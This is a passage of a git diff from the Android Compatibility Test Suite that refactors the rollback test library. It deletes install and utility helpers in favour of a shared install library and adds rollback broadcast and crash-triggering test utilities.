-    resource_dirs: ["testapp/res_v2"],
-}
-
 java_library {
     name: "cts-rollback-lib",
     srcs: ["src/**/*.java"],
-    static_libs: ["androidx.test.rules", "truth-prebuilt"],
+    static_libs: ["androidx.test.rules", "truth-prebuilt", "cts-install-lib"],
     sdk_version: "test_current",
-    java_resources: [
-        ":RollbackManagerTestAppA1",
-        ":RollbackManagerTestAppA2",
-    ],
 }
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/Install.java b/libs/rollback/src/com/android/cts/rollback/lib/Install.java
deleted file mode 100644
index caa39a0..0000000
--- a/libs/rollback/src/com/android/cts/rollback/lib/Install.java
+++ /dev/null
@@ -1,155 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.rollback.lib;
-
-import android.content.Intent;
-import android.content.pm.PackageInstaller;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-
-/**
- * Helper class for installing test apps.
- */
-public class Install {
-    private final boolean mIsMultiPackage;
-    private final TestApp[] mTestApps;
-    private boolean mIsStaged = false;
-    private boolean mEnableRollback = false;
-
-    private Install(boolean isMultiPackage, TestApp... testApps) {
-        mIsMultiPackage = isMultiPackage;
-        mTestApps = testApps;
-    }
-
-    /**
-     * Creates an Install builder to install a single package.
-     */
-    public static Install single(TestApp testApp) {
-        return new Install(false, testApp);
-    }
-
-    /**
-     * Creates an Install builder to install using multiPackage.
-     */
-    public static Install multi(TestApp... testApps) {
-        return new Install(true, testApps);
-    }
-
-    /**
-     * Makes the install a staged install.
-     */
-    public Install setStaged() {
-        mIsStaged = true;
-        return this;
-    }
-
-    /**
-     * Enables rollback for the install.
-     */
-    public Install setEnableRollback() {
-        mEnableRollback = true;
-        return this;
-    }
-
-    private static PackageInstaller getPackageInstaller() {
-        return InstrumentationRegistry.getContext().getPackageManager().getPackageInstaller();
-    }
-
-    /**
-     * Creates an empty install session with appropriate install params set.
-     *
-     * @return the session id of the newly created session
-     */
-    private int createEmptyInstallSession(boolean multiPackage, boolean isApex)
-            throws IOException {
-        PackageInstaller.SessionParams params = new PackageInstaller.SessionParams(
-                PackageInstaller.SessionParams.MODE_FULL_INSTALL);
-        if (multiPackage) {
-            params.setMultiPackage();
-        }
-        if (isApex) {
-            params.setInstallAsApex();
-        }
-        if (mIsStaged) {
-            params.setStaged();
-        }
-        params.setEnableRollback(mEnableRollback);
-        return getPackageInstaller().createSession(params);
-    }
-
-    /**
-     * Creates an install session for the given test app.
-     *
-     * @return the session id of the newly created session.
-     */
-    private int createInstallSession(TestApp app) throws IOException {
-        int sessionId = createEmptyInstallSession(/*multiPackage*/false, app.isApex());
-        PackageInstaller.Session session = getPackageInstaller().openSession(sessionId);
-
-        ClassLoader loader = TestApp.class.getClassLoader();
-        for (String resourceName : app.getResourceNames()) {
-            try (OutputStream os = session.openWrite(resourceName, 0, -1);
-                    InputStream is = loader.getResourceAsStream(resourceName);) {
-                byte[] buffer = new byte[4096];
-                int n;
-                while ((n = is.read(buffer)) >= 0) {
-                    os.write(buffer, 0, n);
-                }
-            }
-        }
-        session.close();
-        return sessionId;
-    }
-
-    /**
-     * Commits the install.
-     */
-    public void commit() throws IOException, InterruptedException {
-        final int sessionId;
-        final PackageInstaller.Session session;
-        if (mIsMultiPackage) {
-            sessionId = createEmptyInstallSession(/*multiPackage*/ true, /*isApex*/false);
-            session = getPackageInstaller().openSession(sessionId);
-            for (TestApp app : mTestApps) {
-                session.addChildSessionId(createInstallSession(app));
-            }
-        } else {
-            assert mTestApps.length == 1;
-            sessionId = createInstallSession(mTestApps[0]);
-            session = getPackageInstaller().openSession(sessionId);
-        }
-
-        session.commit(LocalIntentSender.getIntentSender());
-        Intent result = LocalIntentSender.getIntentSenderResult();
-        int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
-                PackageInstaller.STATUS_FAILURE);
-        if (status == -1) {
-            throw new AssertionError("PENDING USER ACTION");
-        } else if (status > 0) {
-            String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
-            throw new AssertionError(message == null ? "UNKNOWN FAILURE" : message);
-        }
-
-        if (mIsStaged) {
-            Utils.waitForSessionReady(sessionId);
-        }
-    }
-}
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/LocalIntentSender.java b/libs/rollback/src/com/android/cts/rollback/lib/LocalIntentSender.java
deleted file mode 100644
index bd8f0dd..0000000
--- a/libs/rollback/src/com/android/cts/rollback/lib/LocalIntentSender.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.rollback.lib;
-
-import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentSender;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.LinkedBlockingQueue;
-
-/**
- * Helper for making IntentSenders whose results are sent back to the test
- * app.
- */
-public class LocalIntentSender extends BroadcastReceiver {
-
-    private static final BlockingQueue<Intent> sIntentSenderResults = new LinkedBlockingQueue<>();
-
-    @Override
-    public void onReceive(Context context, Intent intent) {
-        sIntentSenderResults.add(intent);
-    }
-
-    /**
-     * Get a LocalIntentSender.
-     */
-    static IntentSender getIntentSender() {
-        Context context = InstrumentationRegistry.getContext();
-        Intent intent = new Intent(context, LocalIntentSender.class);
-        PendingIntent pending = PendingIntent.getBroadcast(context, 0, intent, 0);
-        return pending.getIntentSender();
-    }
-
-    /**
-     * Returns the most recent Intent sent by a LocalIntentSender.
-     */
-    static Intent getIntentSenderResult() throws InterruptedException {
-        return sIntentSenderResults.take();
-    }
-}
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/Rollback.java b/libs/rollback/src/com/android/cts/rollback/lib/Rollback.java
index 14e19bb..bb0bc60 100644
--- a/libs/rollback/src/com/android/cts/rollback/lib/Rollback.java
+++ b/libs/rollback/src/com/android/cts/rollback/lib/Rollback.java
@@ -19,6 +19,8 @@
 import android.content.pm.VersionedPackage;
 import android.content.rollback.PackageRollbackInfo;
 
+import com.android.cts.install.lib.TestApp;
+
 /**
  * Helper class for asserting PackageRollbackInfo contents.
  */
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/RollbackBroadcastReceiver.java b/libs/rollback/src/com/android/cts/rollback/lib/RollbackBroadcastReceiver.java
new file mode 100644
index 0000000..15438e4
--- /dev/null
+++ b/libs/rollback/src/com/android/cts/rollback/lib/RollbackBroadcastReceiver.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.rollback.lib;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * A broadcast receiver that can be used to get
+ * ACTION_ROLLBACK_COMMITTED broadcasts.
+ */
+public class RollbackBroadcastReceiver extends BroadcastReceiver {
+
+    private static final String TAG = "RollbackTest";
+
+    private final BlockingQueue<Intent> mRollbackBroadcasts = new LinkedBlockingQueue<>();
+
+    /**
+     * Creates a RollbackBroadcastReceiver and registers it with the given
+     * context.
+     */
+    public RollbackBroadcastReceiver() {
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(Intent.ACTION_ROLLBACK_COMMITTED);
+        InstrumentationRegistry.getContext().registerReceiver(this, filter);
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Log.i(TAG, "Received rollback broadcast intent");
+        mRollbackBroadcasts.add(intent);
+    }
+
+    /**
+     * Polls for at most the given amount of time for the next rollback
+     * broadcast.
+     */
+    public Intent poll(long timeout, TimeUnit unit) throws InterruptedException {
+        return mRollbackBroadcasts.poll(timeout, unit);
+    }
+
+    /**
+     * Waits forever for the next rollback broadcast.
+     */
+    public Intent take() throws InterruptedException {
+        return mRollbackBroadcasts.take();
+    }
+
+    /**
+     * Unregisters this broadcast receiver.
+     */
+    public void unregister() {
+        InstrumentationRegistry.getContext().unregisterReceiver(this);
+    }
+}
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/RollbackInfoSubject.java b/libs/rollback/src/com/android/cts/rollback/lib/RollbackInfoSubject.java
index 8bc9247..e81a89e 100644
--- a/libs/rollback/src/com/android/cts/rollback/lib/RollbackInfoSubject.java
+++ b/libs/rollback/src/com/android/cts/rollback/lib/RollbackInfoSubject.java
@@ -20,6 +20,8 @@
 import android.content.rollback.PackageRollbackInfo;
 import android.content.rollback.RollbackInfo;
 
+import com.android.cts.install.lib.TestApp;
+
 import com.google.common.truth.FailureMetadata;
 import com.google.common.truth.Subject;
 import com.google.common.truth.Truth;
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/RollbackUtils.java b/libs/rollback/src/com/android/cts/rollback/lib/RollbackUtils.java
new file mode 100644
index 0000000..08ba87a
--- /dev/null
+++ b/libs/rollback/src/com/android/cts/rollback/lib/RollbackUtils.java
@@ -0,0 +1,264 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.rollback.lib;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.ActivityManager;
+import android.app.AlarmManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.VersionedPackage;
+import android.content.rollback.PackageRollbackInfo;
+import android.content.rollback.RollbackInfo;
+import android.content.rollback.RollbackManager;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.cts.install.lib.LocalIntentSender;
+import com.android.cts.install.lib.TestApp;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Objects;
+import java.util.concurrent.CountDownLatch;
+import java.util.function.Predicate;
+import java.util.function.Supplier;
+
+/**
+ * Utilities to facilitate testing rollbacks.
+ */
+public class RollbackUtils {
+
+    private static final String TAG = "RollbackTest";
+
+    /**
+     * Time between repeated checks in {@link #retry}.
+     */
+    private static final long RETRY_CHECK_INTERVAL_MILLIS = 500;
+
+    /**
+     * Maximum number of checks in {@link #retry} before a timeout occurs.
+     */
+    private static final long RETRY_MAX_INTERVALS = 20;
+
+
+    /**
+     * Gets the RollbackManager for the instrumentation context.
+     */
+    public static RollbackManager getRollbackManager() {
+        Context context = InstrumentationRegistry.getContext();
+        RollbackManager rm = (RollbackManager) context.getSystemService(Context.ROLLBACK_SERVICE);
+        if (rm == null) {
+            throw new AssertionError("Failed to get RollbackManager");
+        }
+        return rm;
+    }
+
+    /**
+     * Returns a rollback for the given rollback Id, if found. Otherwise, returns null.
+     */
+    private static RollbackInfo getRollbackById(List<RollbackInfo> rollbacks, int rollbackId) {
+        for (RollbackInfo rollback :rollbacks) {
+            if (rollback.getRollbackId() == rollbackId) {
+                return rollback;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Returns an available rollback for the given package name. Returns null
+     * if there are no available rollbacks, and throws an assertion if there
+     * is more than one.
+     */
+    public static RollbackInfo getAvailableRollback(String packageName) {
+        RollbackManager rm = getRollbackManager();
+        return getUniqueRollbackInfoForPackage(rm.getAvailableRollbacks(), packageName);
+    }
+
+    /**
+     * Returns a recently committed rollback for the given package name. Returns null
+     * if there are no available rollbacks, and throws an assertion if there
+     * is more than one.
+     */
+    public static RollbackInfo getCommittedRollback(String packageName) {
+        RollbackManager rm = getRollbackManager();
+        return getUniqueRollbackInfoForPackage(rm.getRecentlyCommittedRollbacks(), packageName);
+    }
+
+    /**
+     * Returns a recently committed rollback for the given rollback Id.
+     * Returns null if no committed rollback with a matching Id was found.
+     */
+    public static RollbackInfo getCommittedRollbackById(int rollbackId) {
+        RollbackManager rm = getRollbackManager();
+        return getRollbackById(rm.getRecentlyCommittedRollbacks(), rollbackId);
+    }
+
+    /**
+     * Commit the given rollback.
+     * @throws AssertionError if the rollback fails.
+     */
+    public static void rollback(int rollbackId, TestApp... causePackages)
+            throws InterruptedException {
+        List<VersionedPackage> causes = new ArrayList<>();
+        for (TestApp cause : causePackages) {
+            causes.add(cause.getVersionedPackage());
+        }
+
+        RollbackManager rm = getRollbackManager();
+        rm.commitRollback(rollbackId, causes, LocalIntentSender.getIntentSender());
+        Intent result = LocalIntentSender.getIntentSenderResult();
+        int status = result.getIntExtra(RollbackManager.EXTRA_STATUS,
+                RollbackManager.STATUS_FAILURE);
+        if (status != RollbackManager.STATUS_SUCCESS) {
+            String message = result.getStringExtra(RollbackManager.EXTRA_STATUS_MESSAGE);
+            throw new AssertionError(message);
+        }
+    }
+
+    /**
+     * Forwards the device clock time by {@code offsetMillis}.
+     */
+    public static void forwardTimeBy(long offsetMillis) {
+        setTime(System.currentTimeMillis() + offsetMillis);
+        Log.i(TAG, "Forwarded time on device by " + offsetMillis + " millis");
+    }
+
+    /**
+     * Returns the RollbackInfo with a given package in the list of rollbacks.
+     * Throws an assertion failure if there is more than one such rollback
+     * info. Returns null if there are no such rollback infos.
+     */
+    public static RollbackInfo getUniqueRollbackInfoForPackage(List<RollbackInfo> rollbacks,
+            String packageName) {
+        RollbackInfo found = null;
+        for (RollbackInfo rollback : rollbacks) {
+            for (PackageRollbackInfo info : rollback.getPackages()) {
+                if (packageName.equals(info.getPackageName())) {
+                    assertThat(found).isNull();
+                    found = rollback;
+                    break;
+                }
+            }
+        }
+        return found;
+    }
+
+    /**
+     * Returns an available rollback matching the specified package name. If no such rollback is
+     * available, getAvailableRollbacks is called repeatedly until one becomes available. An
+     * assertion is raised if this does not occur after a certain number of checks.
+     */
+    public static RollbackInfo waitForAvailableRollback(String packageName)
+            throws InterruptedException {
+        return retry(() -> getAvailableRollback(packageName),
+                Objects::nonNull, "Rollback did not become available.");
+    }
+
+    /**
+     * If there is no available rollback matching the specified package name, this returns
+     * immediately. If such a rollback is available, getAvailableRollbacks is called repeatedly
+     * until it is no longer available. An assertion is raised if this does not occur after a
+     * certain number of checks.
+     */
+    public static void waitForUnavailableRollback(String packageName) throws InterruptedException {
+        retry(() -> getAvailableRollback(packageName), Objects::isNull,
+                "Rollback did not become unavailable");
+    }
+
+    private static <T> T retry(Supplier<T> supplier, Predicate<T> predicate, String message)
+            throws InterruptedException {
+        for (int i = 0; i < RETRY_MAX_INTERVALS; i++) {
+            T result = supplier.get();
+            if (predicate.test(result)) {
+                return result;
+            }
+            Thread.sleep(RETRY_CHECK_INTERVAL_MILLIS);
+        }
+        throw new AssertionError(message);
+    }
+
+    /**
+     * Send broadcast to crash {@code packageName} {@code count} times. If {@code count} is at least
+     * {@link PackageWatchdog#TRIGGER_FAILURE_COUNT}, watchdog crash detection will be triggered.
+     */
+    public static void sendCrashBroadcast(String packageName,
+            int count) throws InterruptedException, IOException {
+        for (int i = 0; i < count; ++i) {
+            launchPackageForCrash(packageName);
+        }
+    }
+
+    private static void setTime(long millis) {
+        Context context = InstrumentationRegistry.getContext();
+        AlarmManager am = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
+        am.setTime(millis);
+    }
+
+    /**
+     * Launches {@code packageName} with {@link Intent#ACTION_MAIN} and
+     * waits for a CRASH broadcast from the launched app.
+     */
+    private static void launchPackageForCrash(String packageName)
+            throws InterruptedException, IOException {
+        // Force stop the package before launching it to make sure it isn't
+        // stuck in a non-launchable state. And wait a second afterwards to
+        // avoid interfering with when we launch the app.
+        Log.i(TAG, "Force stopping " + packageName);
+        Context context = InstrumentationRegistry.getContext();
+        ActivityManager am = context.getSystemService(ActivityManager.class);
+        am.forceStopPackage(packageName);
+        Thread.sleep(1000);
+
+        // Register a receiver to listen for the CRASH broadcast.
+        CountDownLatch latch = new CountDownLatch(1);
+        IntentFilter crashFilter = new IntentFilter();
+        crashFilter.addAction("com.android.tests.rollback.CRASH");
+        crashFilter.addCategory(Intent.CATEGORY_DEFAULT);
+        BroadcastReceiver crashReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                Log.i(TAG, "Received CRASH broadcast from " + packageName);
+                latch.countDown();
+            }
+        };
+        context.registerReceiver(crashReceiver, crashFilter);
+
+        // Launch the app.
+        Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setPackage(packageName);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.addCategory(Intent.CATEGORY_LAUNCHER);
+        Log.i(TAG, "Launching " + packageName + " with " + intent);
+        context.startActivity(intent);
+
+        Log.i(TAG, "Waiting for CRASH broadcast from " + packageName);
+        latch.await();
+
+        context.unregisterReceiver(crashReceiver);
+
+        // Sleep long enough for packagewatchdog to be notified of crash
+        Thread.sleep(1000);
+    }
+}
+
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/TestApp.java b/libs/rollback/src/com/android/cts/rollback/lib/TestApp.java
deleted file mode 100644
index 530ead7..0000000
--- a/libs/rollback/src/com/android/cts/rollback/lib/TestApp.java
+++ /dev/null
@@ -1,76 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.rollback.lib;
-
-import android.content.pm.VersionedPackage;
-
-/**
- * Collection of dummy apps used in tests.
- */
-public class TestApp {
-    public static final String A = "com.android.cts.rollback.lib.testapp.A";
-    public static final String Apex = "com.android.apex.cts.shim";
-
-    public static final TestApp A1 = new TestApp("A1", A, 1, /*isApex*/false,
-            "RollbackManagerTestAppA1.apk");
-    public static final TestApp A2 = new TestApp("A2", A, 2, /*isApex*/false,
-            "RollbackManagerTestAppA2.apk");
-    public static final TestApp Apex2 = new TestApp("Apex2", Apex, 2, /*isApex*/true,
-            "com.android.apex.cts.shim.v2.apex");
-    public static final TestApp Apex3 = new TestApp("Apex3", Apex, 3, /*isApex*/true,
-            "com.android.apex.cts.shim.v3.apex");
-
-    private final String mName;
-    private final String mPackageName;
-    private final long mVersionCode;
-    private final String[] mResourceNames;
-    private final boolean mIsApex;
-
-    public TestApp(String name, String packageName, long versionCode, boolean isApex,
-            String... resourceNames) {
-        mName = name;
-        mPackageName = packageName;
-        mVersionCode = versionCode;
-        mResourceNames = resourceNames;
-        mIsApex = isApex;
-    }
-
-    String getPackageName() {
-        return mPackageName;
-    }
-
-    long getVersionCode() {
-        return mVersionCode;
-    }
-
-    String[] getResourceNames() {
-        return mResourceNames;
-    }
-
-    VersionedPackage getVersionedPackage() {
-        return new VersionedPackage(mPackageName, mVersionCode);
-    }
-
-    boolean isApex() {
-        return mIsApex;
-    }
-
-    @Override
-    public String toString() {
-        return mName;
-    }
-}
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/Utils.java b/libs/rollback/src/com/android/cts/rollback/lib/Utils.java
deleted file mode 100644
index 668f641..0000000
--- a/libs/rollback/src/com/android/cts/rollback/lib/Utils.java
+++ /dev/null
@@ -1,226 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.rollback.lib;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageInfo;
-import android.content.pm.PackageInstaller;
-import android.content.pm.PackageManager;
-import android.content.pm.VersionedPackage;
-import android.content.rollback.PackageRollbackInfo;
-import android.content.rollback.RollbackInfo;
-import android.content.rollback.RollbackManager;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.LinkedBlockingQueue;
-
-/**
- * Utilities to facilitate testing rollbacks.
- */
-public class Utils {
-    /**
-     * Returns the version of the given package installed on device.
-     * Returns -1 if the package is not currently installed.
-     */
-    public static long getInstalledVersion(String packageName) {
-        Context context = InstrumentationRegistry.getContext();
-        PackageManager pm = context.getPackageManager();
-        try {
-            PackageInfo info = pm.getPackageInfo(packageName, PackageManager.MATCH_APEX);
-            return info.getLongVersionCode();
-        } catch (PackageManager.NameNotFoundException e) {
-            return -1;
-        }
-    }
-
-    /**
-     * Gets the RollbackManager for the instrumentation context.
-     */
-    public static RollbackManager getRollbackManager() {
-        Context context = InstrumentationRegistry.getContext();
-        RollbackManager rm = (RollbackManager) context.getSystemService(Context.ROLLBACK_SERVICE);
-        if (rm == null) {
-            throw new AssertionError("Failed to get RollbackManager");
-        }
-        return rm;
-    }
-
-    /**
-     * Returns a rollback for the given package name in the list of
-     * rollbacks. Returns null if there are no available rollbacks, and throws
-     * an assertion if there is more than one.
-     */
-    private static RollbackInfo getRollback(List<RollbackInfo> rollbacks, String packageName) {
-        RollbackInfo found = null;
-        for (RollbackInfo rollback : rollbacks) {
-            for (PackageRollbackInfo info : rollback.getPackages()) {
-                if (packageName.equals(info.getPackageName())) {
-                    if (found != null) {
-                        throw new AssertionError("Multiple available matching rollbacks found");
-                    }
-                    found = rollback;
-                    break;
-                }
-            }
-        }
-        return found;
-    }
-
-    /**
-     * Returns a rollback for the given rollback Id, if found. Otherwise, returns null.
-     */
-    private static RollbackInfo getRollbackById(List<RollbackInfo> rollbacks, int rollbackId) {
-        for (RollbackInfo rollback :rollbacks) {
-            if (rollback.getRollbackId() == rollbackId) {
-                return rollback;
-            }
-        }
-        return null;
-    }
-
-    /**
-     * Returns an available rollback for the given package name. Returns null
-     * if there are no available rollbacks, and throws an assertion if there
-     * is more than one.
-     */
-    public static RollbackInfo getAvailableRollback(String packageName) {
-        RollbackManager rm = getRollbackManager();
-        return getRollback(rm.getAvailableRollbacks(), packageName);
-    }
-
-    /**
-     * Returns a recently committed rollback for the given package name. Returns null
-     * if there are no available rollbacks, and throws an assertion if there
-     * is more than one.
-     */
-    public static RollbackInfo getCommittedRollback(String packageName) {
-        RollbackManager rm = getRollbackManager();
-        return getRollback(rm.getRecentlyCommittedRollbacks(), packageName);
-    }
-
-    /**
-     * Returns a recently committed rollback for the given rollback Id.
-     * Returns null if no committed rollback with a matching Id was found.
-     */
-    public static RollbackInfo getCommittedRollbackById(int rollbackId) {
-        RollbackManager rm = getRollbackManager();
-        return getRollbackById(rm.getRecentlyCommittedRollbacks(), rollbackId);
-    }
-
-    /**
-     * Uninstalls the given package.
-     * Does nothing if the package is not installed.
-     * @throws AssertionError if package can't be uninstalled.
-     */
-    public static void uninstall(String packageName) throws InterruptedException, IOException {
-        // No need to uninstall if the package isn't installed.
-        if (getInstalledVersion(packageName) == -1) {
-            return;
-        }
-
-        Context context = InstrumentationRegistry.getContext();
-        PackageManager packageManager = context.getPackageManager();
-        PackageInstaller packageInstaller = packageManager.getPackageInstaller();
-        packageInstaller.uninstall(packageName, LocalIntentSender.getIntentSender());
-        Intent result = LocalIntentSender.getIntentSenderResult();
-        int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
-                PackageInstaller.STATUS_FAILURE);
-        if (status == -1) {
-            throw new AssertionError("PENDING USER ACTION");
-        } else if (status > 0) {
-            String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
-            throw new AssertionError(message == null ? "UNKNOWN FAILURE" : message);
-        }
-    }
-
-    /**
-     * Commit the given rollback.
-     * @throws AssertionError if the rollback fails.
-     */
-    public static void rollback(int rollbackId, TestApp... causePackages)
-            throws InterruptedException {
-        List<VersionedPackage> causes = new ArrayList<>();
-        for (TestApp cause : causePackages) {
-            causes.add(cause.getVersionedPackage());
-        }
-
-        RollbackManager rm = getRollbackManager();
-        rm.commitRollback(rollbackId, causes, LocalIntentSender.getIntentSender());
-        Intent result = LocalIntentSender.getIntentSenderResult();
-        int status = result.getIntExtra(RollbackManager.EXTRA_STATUS,
-                RollbackManager.STATUS_FAILURE);
-        if (status != RollbackManager.STATUS_SUCCESS) {
-            String message = result.getStringExtra(RollbackManager.EXTRA_STATUS_MESSAGE);
-            throw new AssertionError(message);
-        }
-    }
-
-    /**
-     * Waits for the given session to be marked as ready.
-     * Throws an assertion if the session fails.
-     */
-    public static void waitForSessionReady(int sessionId) {
-        BlockingQueue<PackageInstaller.SessionInfo> sessionStatus = new LinkedBlockingQueue<>();
-        BroadcastReceiver sessionUpdatedReceiver = new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                PackageInstaller.SessionInfo info =
-                        intent.getParcelableExtra(PackageInstaller.EXTRA_SESSION);
-                if (info != null && info.getSessionId() == sessionId) {
-                    if (info.isStagedSessionReady() || info.isStagedSessionFailed()) {
-                        try {
-                            sessionStatus.put(info);
-                        } catch (InterruptedException e) {
-                            throw new AssertionError(e);
-                        }
-                    }
-                }
-            }
-        };
-        IntentFilter sessionUpdatedFilter =
-                new IntentFilter(PackageInstaller.ACTION_SESSION_UPDATED);
-
-        Context context = InstrumentationRegistry.getContext();
-        context.registerReceiver(sessionUpdatedReceiver, sessionUpdatedFilter);
-
-        PackageInstaller installer = context.getPackageManager().getPackageInstaller();
-        PackageInstaller.SessionInfo info = installer.getSessionInfo(sessionId);
-
-        try {
-            if (info.isStagedSessionReady() || info.isStagedSessionFailed()) {
-                sessionStatus.put(info);
-            }
-
-            info = sessionStatus.take();
-            context.unregisterReceiver(sessionUpdatedReceiver);
-            if (info.isStagedSessionFailed()) {
-                throw new AssertionError(info.getStagedSessionErrorMessage());
-            }
-        } catch (InterruptedException e) {
-            throw new AssertionError(e);
-        }
-    }
-}
-
diff --git a/libs/rollback/testapp/A1.xml b/libs/rollback/testapp/A1.xml
deleted file mode 100644
index 2cd1825..0000000
--- a/libs/rollback/testapp/A1.xml
+++ /dev/null
@@ -1,33 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.rollback.lib.testapp.A"
-    android:versionCode="1"
-    android:versionName="1.0" >
-
-
-    <uses-sdk android:minSdkVersion="19" />
-
-    <application android:label="Rollback Test App A1">
-        <activity android:name="com.android.cts.rollback.lib.testapp.MainActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
diff --git a/libs/rollback/testapp/A2.xml b/libs/rollback/testapp/A2.xml
deleted file mode 100644
index d879a91..0000000
--- a/libs/rollback/testapp/A2.xml
+++ /dev/null
@@ -1,33 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
